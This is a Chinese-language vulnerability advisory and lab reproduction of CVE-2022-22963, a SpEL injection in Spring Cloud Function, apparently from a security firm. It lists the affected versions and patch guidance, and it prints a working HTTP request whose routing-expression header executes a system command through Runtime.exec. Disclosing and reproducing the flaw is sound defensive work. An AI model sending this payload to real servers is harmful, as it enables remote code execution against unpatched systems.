0x01 漏洞概述
近日,Spring Cloud官方修复了一个Spring Cloud Function中的SPEL表达式注入漏洞,由于SpringCloud Function中RoutingFunction类的apply方法将请求头中的spring.cloud.function.routingexpression参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。目前漏洞PoC已公开,请相关用户采取措施进行防护。
Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。
0x02 影响范围
受影响版本
3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
Spring Cloud Function <= 3.2.2
不受影响版本
Spring Cloud Function 3.1.7
Spring Cloud Function 3.2.3
0x03 漏洞等级
高危
0x04漏洞复现
搭建环境
靶机系统:kali Linux(需要Java环境)192.168.20.133
攻击系统:win11 192.168.20.1
wget https://github.com/spring-cloud/spring-cloudfunction/archive/refs/tags/v3.1.6.zip
unzip v3.1.6.zip
cd spring-cloud-function-3.1.6
cd spring-cloud-function-samples/function-sample-pojo
mvn package
java -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar
默认开启8080端口,打开192.168.20.13:8080
在靶机系统kali获取测试路径列表
find . -name "*.java"|xargs -I % cat %|grep -Eo '"([^" ./=>|,:}+)'"'"']
{8,})"'|sort -u|sed 's/"//g'
在攻击系统win11里,把获取到的路径名字通过burp suite进行爆破
系统弹出计算器,payload如下:
POST /functionRouter HTTP/1.1
host:192.168.20.133:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routingexpression:T(java.lang.Runtime).getRuntime().exec("mate-calc")
Content-Length: 7
langgen
0x05 漏洞防护
目前官方已针对此漏洞发布安全补丁和新版本修复,下载链接:
https://github.com/spring-cloud/spring-cloud-function/tags
蓝爵网安
广东蓝爵网络安全技术股份有限公司(简称“蓝爵网安”)成立于2007年,是一家专注于网络安全技术研究、网络安全服务十年以上的高新技术企业。蓝爵网安近年来一直围绕网络安全等级保护核心思想提供安全咨询、安全评估、安全开发、安全测试、安全运维、安全培训、应急响应七大类专业网络安全服务。 蓝爵网安拥有多个技术领域的专家服务团队,多次在重要安全保障期间、大型安全攻防演练等活动中获得了相关方的高度认可表彰。
原文始发于微信公众号(蓝爵网安):CVE-2022-22963 Spring Cloud Function SPEL表达式注入漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论